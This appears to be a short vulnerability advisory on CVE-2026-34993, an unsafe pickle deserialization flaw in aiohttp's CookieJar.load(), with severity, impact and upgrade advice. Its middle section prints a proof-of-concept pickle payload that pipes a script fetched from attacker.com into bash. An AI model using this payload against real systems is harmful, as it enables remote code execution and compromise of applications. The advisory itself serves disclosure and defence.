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How CVE-2026-34993 Works
The vulnerability resides in the `CookieJar.load()` method of the aiohttp library, used for loading cookies from a file. Prior to version 3.14.0, this method loaded cookies using Python’s `pickle` module, which is inherently unsafe when processing untrusted data. A malicious actor can create a specially crafted `.pickle` file containing arbitrary Python code. If an application calls `CookieJar.load()` with this file—for example, by processing a user-uploaded cookie jar—the embedded code executes in the application’s context. This leads to Remote Code Execution (RCE), allowing an attacker to compromise the entire application. The issue, classified as CWE-502, arises because aiohttp failed to verify that the loaded data is safe before deserializing it.
DailyCVE Form:
Platform: aiohttp
Version: <=3.13.x
Vulnerability: Untrusted Deserialization
Severity: Moderate (6.4)
Date: 2026-06-02
Prediction: 2026-06-02
What Undercode Say:
Verify the vulnerable version
pip show aiohttp | grep Version
Create a malicious pickle payload (exploit.py)
cat > exploit.py <<EOF
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://attacker.com/backdoor.sh | bash',))
with open('evil.pickle', 'wb') as f:
pickle.dump(Exploit(), f)
EOF
python exploit.py
Simulate application loading the malicious jar
python -c "from aiohttp import CookieJar; CookieJar().load('evil.pickle')"
Exploit:
Vulnerable code
from aiohttp import CookieJar
jar = CookieJar()
Attacker-controlled file path
jar.load("user_uploaded_cookies.pickle")
Protection:
Upgrade: Immediately update to aiohttp version 3.14.0 or higher.
Sanitize: If upgrading is impossible, sanitize all files before passing them to CookieJar.load().
Restrict: Ensure `CookieJar.load()` is only used with trusted, read-only sources.
Impact:
Confidentiality: Attackers can read sensitive application data.
Integrity: Malicious code can modify or delete critical files.
Availability: The application may crash or become unresponsive due to code execution.
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Sources:
Reported By: github.com
Extra Source Hub:
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